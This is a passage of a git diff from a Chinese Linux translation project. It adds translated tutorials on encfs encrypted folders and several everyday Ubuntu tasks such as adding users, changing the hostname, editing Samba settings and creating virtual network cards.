Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。 + +SAT求解器的应用有很多。IBM,Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。 + +-------------------------------------------------------------------------------- + +via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/mirrors/linux-2.6 +[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c +[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h +[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h +[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c +[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h +[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h +[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c +[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h +[10]:http://lwn.net/Articles/184495/ +[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h +[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h +[13]:http://lwn.net/Articles/175432/ +[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h +[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h +[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h +[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf +[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c +[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h +[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c +[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c +[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h +[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h +[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h +[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c +[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c +[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c +[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c +[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c +[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c +[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c +[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c +[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c +[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c +[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c +[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c +[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c +[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf +[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf +[40]:https://code.google.com/p/chromium/ +[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h +[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html +[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm +[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py +[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py +[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py +[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c +[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py +[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h +[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c +[51]:http://www.cplusplus.com/reference/stl/ +[52]:http://www.cplusplus.com/reference/algorithm/ +[53]:http://www.cplusplus.com/reference/algorithm/ +[54]:http://docs.oracle.com/javase/7/docs/api/ +[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale +[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h +[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock +[58]:http://dl.acm.org/citation.cfm?id=4750 +[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache +[60]:http://www.varlena.com/GeneralBits/96.php +[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation +[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919 +[63]:http://swtch.com/~rsc/regexp/regexp1.html +[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm +[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html +[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf +[67]:http://linux.die.net/man/3/diff +[68]:http://en.wikipedia.org/wiki/Merkle_tree +[69]:https://github.com/gtk-gnutella/bitter +[70]:http://en.wikibooks.org/wiki/LimeWire +[71]:http://en.wikipedia.org/wiki/MD5 +[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c +[73]:http://www.openssl.org/ +[74]:http://en.wikipedia.org/wiki/LALR_parser +[75]:http://en.wikipedia.org/wiki/Lempel_Ziv +[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c +[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/ +[78]:http://dl.acm.org/citation.cfm?id=1536637 +[79]:http://en.opensuse.org/Portal%3aLibzypp + +[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/ +[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 +[103]:http://cstheory.stackexchange.com/users/4155/vijay-d \ No newline at end of file diff --git a/published/201311/Create And Manage Encrypted Folders in Linux With encfs.md b/published/201311/Create And Manage Encrypted Folders in Linux With encfs.md new file mode 100644 index 0000000000..c362fc3ff6 --- /dev/null +++ b/published/201311/Create And Manage Encrypted Folders in Linux With encfs.md @@ -0,0 +1,69 @@ +Linux系统上用encfs创建和管理加密文件夹 +================================================================================ + +如果你想使你计算机上的某些信息免于被窥视的话,可以看看这篇文字。保护信息的一种方法就是加密你的home目录,但是一旦你登录系统后,你的home目录下的信息将暴露于外。过去,我已经写过关于怎样[在你的系统上使用Cryptkeeper来创建加密的文件夹][1]。Cryptkeeper是一个图形前端,后端是 **encfs**。encfs允许你创建一个加密的文件夹,然后通过[FUSE][2]来挂载作为用户文件系统。在这篇教程里,我会教你怎么在Linux系统上的命令行下面使用encfs工具来创建和管理一个加密的文件夹。 + +![](http://tuxtweaks.com/wp-content/uploads/2013/10/encfs.png) + +### 安装encfs ### + +如果你使用的是Ubuntu或者它的衍生版本中的一种如Linux Mint的话,在软件源库当中应该能找到encfs。这种情况,可以用下面的命令来安装 + + sudo apt-get install encfs + +### 用encfs创建加密文件夹 ### + +一旦在系统中安装好了encfs后,你就能在你的home目录下创建一个加密的文件夹。在这个示例当中,我将会创建一个叫做tuxtweaks的加密文件夹,这通过终端窗口就可以完成。当创建一个新的文件夹的时候,你需要指定全路径名,当然也可以使用如下所示的标准快捷方式。 + + encfs ~/.tuxtweaks ~/tuxtweaks + +这会创建两个文件夹。第一个.**tuxtweaks**,它包含被加密的信息;第二个tuxtweaks,当你想要访问信息的时候,解密的版本信息将会挂载到下面。如果这些文件夹都不存在,系统将会提示询问是否创建它们。在提示下面键入‘**y**’以允许创建文件夹,然后你应该能看到如下所示的一些信息: + + Creating new encrypted volume. + Please choose from one of the following options: + enter "x" for expert configuration mode, + enter "p" for pre-configured paranoia mode, + anything else, or an empty line will select standard mode. + +如果你想要最高级别的加密文件夹的话,在提示符下输入**p**选项。否则只需敲击**[Enter]键**,就会以标准选项来创建新的加密文件夹。 + +之后,你将会看到新加密卷的参数列表及一些警告信息,随之提示符会让输入一个密码。确保不要忘记使用的密码,因为没有密码找回机制。在输入密码并以第二次输入校验通过后,新的文件夹会被创建成功,并自动挂载进文件系统,可以开始使用了。 + +### 使用加密文件夹 ### + +一旦新加密文件夹被挂载上,它就跟你系统上的其它文件夹一样的使用,但如果你把它设置为paranoia模式的话,使用它的硬链接会出现不可用的异常。我想,这对大多数用户来说并不是问题。让我们继续吧,在新文件夹里创建一个简单的文本文件,然后用它来做测试。 + + echo "GNU/Linux is my favorite computer operating system." >~/tuxtweaks/test.txt + +在终端下或在文件系统管理器下,你都能看到在**tuxtweaks**目录里已经有一个叫做**test.txt**的新文件。打开此文件可看到这里一个完全可读的文本文件。现在切换到**~/.tuxtweaks**目录下,这是你文件夹的加密版本,可以看到这里的文件名不一样了,如里你查看此文件的内容话,会发现是乱糟糟的。 + +### 卸载encfs创建的加密文件夹 ### + +一旦你完成文件访问或者数据创建等操作,最好把加密文件夹卸载,以便里面的信息安全的隐藏掉。encfs自身不带有卸载的命令,一旦用它创建了用户文件系统,就可以利用FUSE来处理卸载任务。下面我们会使用fusermount命令来卸载我们的加密文件夹。 + + fusermount -u ~/tuxtweaks + +切换到home目录下,会看到tuxtweaks目录仍然存在,但进入文件夹,你会发现里面是空的。(译注:因为tuxtweaks目录只是一个挂载点,真实的数据是以加密的方式存储在.tuxtweaks目录下的,) + +### 挂载用encfs创建的加密文件夹 ### + +下一次你想要访问加密数据的话,你需要重新加载并解密它,仅仅只需要使用跟我们在第一步创建此文件夹相同的命令就可以。 + + encfs ~/.tuxtweaks ~/tuxtweaks + +### 用途 ### + +我发现使用**encfs**加密文件夹来安全地存储财务信息非常便捷,比如纳税申报表以及用于存储日志列表凭据。这样我只需要记住我加密文件夹的密码,然后就可以进入访问记录有其他登录ID和密码的名单文件。 + +你会使用encfs来做什么呢?在评论中给我们分享吧。 + +-------------------------------------------------------------------------------- + +via: http://tuxtweaks.com/2013/10/encrypted-folders-linux-encfs/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://tuxtweaks.com/2009/03/create-an-encrypted-folder-in-ubuntu-with-cryptkeeper/ +[2]:http://fuse.sourceforge.net/ \ No newline at end of file diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Adding User Accounts In Ubuntu.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Adding User Accounts In Ubuntu.md" new file mode 100644 index 0000000000..e74a4bbf69 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Adding User Accounts In Ubuntu.md" @@ -0,0 +1,43 @@ +每日Ubuntu小技巧——在Ubuntu中添加用户 +================================================================================ + +Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。 + +因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。 + +为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png) + +当如图所示的窗口打开后,点击屏幕下方的“**用户账户(User Accounts)**”,如下图所示。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png) + +要添加用户到你的Ubuntu需要管理员权限,请在添加账户前点击解锁(Unlock)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png) + +然后,点击加号( + )按钮来创建用户账户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png) + +创建用户时有两种基本的账户类型: **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。 + +标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。 + +输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建(Create)**来创建账户。 + +默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png) + +如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。 + +Enjoy! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-ubuntu/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng) diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Change Samba Workgroup And Computer Name.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Change Samba Workgroup And Computer Name.md" new file mode 100644 index 0000000000..193a307b86 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Change Samba Workgroup And Computer Name.md" @@ -0,0 +1,42 @@ +每日Ubuntu小技巧-更改Samba工作组和计算机名 +================================================================================ + +这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单,但当你接触新事物时,你需要时间来完全理解它。 + +这是我们前几天收到的问题; + +> 如何更改Samba的工作组名和Ubuntu的计算机名称? + +对于大多数Ubuntu用户,改变他们的计算机名称是极少发生的事情,更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。 + +当涉及到在Ubuntu中更改计算机名时,我们曾写过一个简单的帖子,可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。 + +也许还有其他方法来改变你在Ubuntu中的计算机名,但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器,你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。 + +在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时,运行以下命令来编辑的Samba的配置文件。 + + sudo gedit /etc/samba/smb.conf + +打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如,如果你希望工作组变成UBGP,将WORKGROUP替换成UBGP,并保存该文件。在大多数情况下,你必须重启动计算机以使之生效。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png) + +以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住,如果你这样做是为了共享或访问Windows文件和文件夹,还必须​​安装Samba。没有Samba,你将难以与Windows共享文件。 + +运行下面的命令安装Samba。 + + sudo apt-get install samba + +欢迎回来掌握更多的Ubuntu小技巧。 + +尽情享受吧! + +--- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ + +译者:[crowner](https://github.com/crowner),[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2199-1.html diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Create Virtual Network Cards In Ubuntu Linux.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Create Virtual Network Cards In Ubuntu Linux.md" new file mode 100644 index 0000000000..3557d5a0b4 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Create Virtual Network Cards In Ubuntu Linux.md" @@ -0,0 +1,42 @@ +Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡 +================================================================================ + +这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人,尤其是那些在(正式环境中)使用生产机器的用户。 + +如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。 + +一个网卡对应一个IP地址,你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如,如果你想在80端口运行一个web服务器,而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。 + +所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡。因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。 + +这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。 + +动手吧,运行下列命令打开网络接口文件。 + + sudo gedit /etc/network/interfaces + +然后按照下图中的步骤,添加你想要的任意多的虚拟网卡。默认情况下,Linux会给第一张网卡分配eth0的名称,所以如果你的机子只有一张网卡,那么它会被命名为eth0。 + +添加虚拟网卡,创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png) + +对于你创建的每一个网卡,也要确保网络都是不同的子网,这是网络常识(译注:事实上并非如此,虚拟网卡完全可以是相同子网的IP地址,只要你需要) + +完成以后,保存文件并用下列命令重启网络服务。 + + sudo service networking restart + +就是这样! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png) + +玩得开心! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Get Geary, A Lightweight Email Reader In Ubuntu.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Get Geary, A Lightweight Email Reader In Ubuntu.md" new file mode 100644 index 0000000000..64f9856f19 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Get Geary, A Lightweight Email Reader In Ubuntu.md" @@ -0,0 +1,46 @@ +每日Ubuntu小技巧:一款轻量级的Email阅读器Geary +================================================================================ + +正如大家所知,Ubuntu 本身自带可以收发邮件的客户端——Thunderbird,当然它也支持Gmail,Yahoo Mail,Microsoft Outlook 等等支持IMAP协议的邮件服务。 + +Thunderbird 是一个功能强大的邮件客户端,只要email客户端所需要的功能,它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端,Geary 是一个不错的选择。 + +Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。 + +Geary 还支持IMAP 协议,所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。 + +以Ubuntu 13.10用户为例,Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 + + sudo apt-get install geary + +在以前的Ubuntu 版本中,键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后,运行以下命令增加PPA源。 + + sudo add-apt-repository ppa:yorba/ppa + +接下来运行以下命令来升级系统和安装Geary 。 + + sudo apt-get update && sudo apt-get install geary + +第一次启动Geary时,你需要设置你的Gmail,Yahoo 或 Microsoft 电子邮件帐户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) + +设置非常的简单,只要输入你的账号信息,Geary 就会自动配置好你的账号。 + +若想卸载Geary ,首先要从系统中移除它的PPA源,要运行的命令如下。 + + sudo add-apt-repository -r ppa:yorba/ppa + +然后再运行以下命令卸载Geary 。 + + sudo apt-get remove geary + +就这么简单~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 How To Change Your Computer Name.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 How To Change Your Computer Name.md" new file mode 100644 index 0000000000..1c5227fa48 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 How To Change Your Computer Name.md" @@ -0,0 +1,36 @@ +每日Ubuntu小技巧——怎样修改你的计算机名字 +================================================================================ +本文又是一篇为Ubuntu新用户和新手准备的文章,将会指导你怎样在使用Ubuntu时轻松更改你的计算机名字,许多用户从来不会考虑在Ubuntu更改计算机名字或者主机名,那是他们最不用考虑担心的事情。 + +许多用户会使用安装Ubuntu过程中创建或设定的名字,但是对于想要知道怎么更改名字的新用户,可以继续接下来的学习。本文不是为Ubuntu专家所准备,是为那些刚刚开始使用Ubuntu的初学者用户。 + +那么,为什么你又想要更改你的计算机名字?如果除了想要学习怎样操作,你没有一个好的理由,那么就不要学了,反之,如果你有一个好的理由或者想要学习怎样操作,那么请继续。 + +按下 **Ctrl - Alt - T** 组合键,打开终端。 +当终端打开,输入下列命令,使用gedit编辑hostname文件 + + sudo gedit /etc/hostname + +接下来,无论旧的计算机名字是什么,换一个新的吧。例如,如果你想要你的计算机名字为“RDOMNU”,先删除文件内容,输入 **RDOMNU**,然后保存文件。 + +然后,再输入下列命令来打开hosts文件 + + sudo gedit /etc/hosts + +更改第二行箭头标记位置的值,使它与你刚才输入的计算机名字相符,完成后保存文件。 + + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/ubuntuhostnamechange.png) + +就是这样!重启你的计算机,然后你的机器将会显示新的名字。这就是怎么改变Ubuntu机器的名字。 + +试一试吧! + + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/ + +译者:[Vic___](https://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Resize Ubuntu Unity Launcher.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Resize Ubuntu Unity Launcher.md" new file mode 100644 index 0000000000..51ee6b2195 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Resize Ubuntu Unity Launcher.md" @@ -0,0 +1,36 @@ +每日Ubuntu小技巧 - 改变Ubuntu Unity启动器尺寸 +================================================================================ +这里有一些给新Ubuntu用户的小技巧。这一系列的小技巧是为了帮助Ubuntu新用户轻松地配置和管理他们的电脑。这不是面向专家用户的,只是为了那些刚刚开始使用Ubuntu的用户。 + +Ubuntu启动器是Ubuntu Unity桌面的关键部分。启动器是一个布满图标的垂直条,当你登陆的时候,它就会位于屏幕的左边栏。通过它您可以从桌面方便地打开或者启动程序,还可以让您快速访问应用、工作空间、可移动设备和垃圾桶。 + +默认情况下,这个启动器图标大小被设置为48X48px,即使是较小的屏幕上也如此。如果你需要调大或调小启动器的尺寸,那么请继续接下来的学习。 + +想调整Unity启动器尺寸的原因有很多。其中一个就是为了适应更小的屏幕。如果你的屏幕很小,默认尺寸不合适,那么你就需要改变它了。 + +如果图标默认尺寸太小,想要增大它,则可以调整启动器来增大图标,从而容易点击。 + +下面开始调整大小,点击右上角的齿轮按钮弹出菜单条,点击系统设置(System Settings...),如下图。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable3.png) + +接下来,选择 外观(Appearance) + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu.png) + +最后,使用滚动条来调整(增大\减小)启动器的图标尺寸。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu1.png) + +这个改变会被自动应用。记住,如果你想要继续作用默认尺寸,移动到48. + +这是另一个为Ubuntu新用户的小技巧。欢迎回来掌握更多的Ubuntu小技巧。如果你是一个老手并且想要做出贡献,就请在下面留言吧。 + +享受吧! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-resize-ubuntu-unity-launcher/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vic___](http://blog.csdn.net/vic___) 校对:[jasminepeng](https://github.com/jasminepeng) \ No newline at end of file diff --git "a/published/201311/Daily Ubuntu Tips \342\200\223 Webcam Support In Ubuntu Via Cheese.md" "b/published/201311/Daily Ubuntu Tips \342\200\223 Webcam Support In Ubuntu Via Cheese.md" new file mode 100644 index 0000000000..348645fe1b --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips \342\200\223 Webcam Support In Ubuntu Via Cheese.md" @@ -0,0 +1,34 @@ +每日Ubuntu小技巧——Ubuntu中通过Cheese支持Webcam +================================================================================ + +对于一些Ubuntu的新用户,如果你们想在Ubuntu中使用webcam的话,这里有一些信息能够帮助到你们。正如你们说知道的那样,Ubuntu旨在支持绝大多数webcam,而且是现成可用的。大多数webcam生产商并不为Linux系统提供驱动,包括Ununtu。所以,Linux开发者们必须能够尽最大努力让webcam设备在Linux内核中运行。 + +支持Linux的webcam驱动由Linux UVC项目提供[UVC][1]。该项目意图为webcam提供一个万能USB支持,就像一个通用USB驱动控制一些USB设备,例如U盘,外部USB设备和其他一些设备。 + +大多数主流的USB webcam设备都可以在Linux系统下工作,其中包括支持Linux UVC项目驱动的Ubuntu。如果你想为你的Ubuntu计算机购买一个webcam设备,又不确信它是否能被支持,请[核查支持UVC的webcam列表][2]. + +上面列出的webcam都能够很方便地应用在Linux机器中。因此,在为你的机器购买webcam之前,查看一下列表并找到你喜欢的模块。 + +在购买一个支持Linux系统的模块之后,你需要一个应用程序来播放或者观看视频。现如今,最流行的Ubuntu webcam应用程序是Cheese.Cheese 允许用户访问自己的webcam并能够轻松播放视频。 + +输入以下命令安装Cheese + + sudo apt-get install cheese + +安装完成之后,在Unity Dash中打开它就能运行。如果webcam驱动已经载入,Cheese就能够从Webcam中输出视频。 + +只要你有一个配备了webcam的笔记本电脑,那它就可以工作,因为大多数USB webcam设备是在Ubuntu中通用的。你该做的就是安装Cheese并体验。 + +如果你不能令当前的webcam在Ubuntu中工作,就应该尝试购买一个能够工作的模块! + +尽情享受吧! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-webcam-support-ubuntu-via-cheese/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[rogetfan](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:https://help.ubuntu.com/community/UVC +[2]:http://www.ideasonboard.org/uvc/ diff --git "a/published/201311/Daily Ubuntu Tips\342\200\223Change The Logon Screen Background.md" "b/published/201311/Daily Ubuntu Tips\342\200\223Change The Logon Screen Background.md" new file mode 100644 index 0000000000..d6e2953355 --- /dev/null +++ "b/published/201311/Daily Ubuntu Tips\342\200\223Change The Logon Screen Background.md" @@ -0,0 +1,45 @@ +每日Ubuntu小技巧-改变登陆窗口背景 +================================================================================ + +本文为你提供了一个简单的小技巧,告诉你如何用你自己图片来替换登陆窗口的背景。Ubuntu的登陆窗口挺不错的,可能比大多数发行版的都要好,但是如果你想要使用一张你自己的图片,比如一张可以让你回忆起某个特定的地方或事情的图片,你就可以按照下面的步骤来更换上它。 + +有许多方法可以做到这一点,这篇博文介绍的只是其中一种。下面介绍的方法可以使用dconf-editor和lightdm用户身份来完成这样的效果。简单来说就是,切换到root用户,给予lightdm用户访问x-server的权限。然后使用lightdm用户身份,运行dconf-editor,然后做出修改。 + 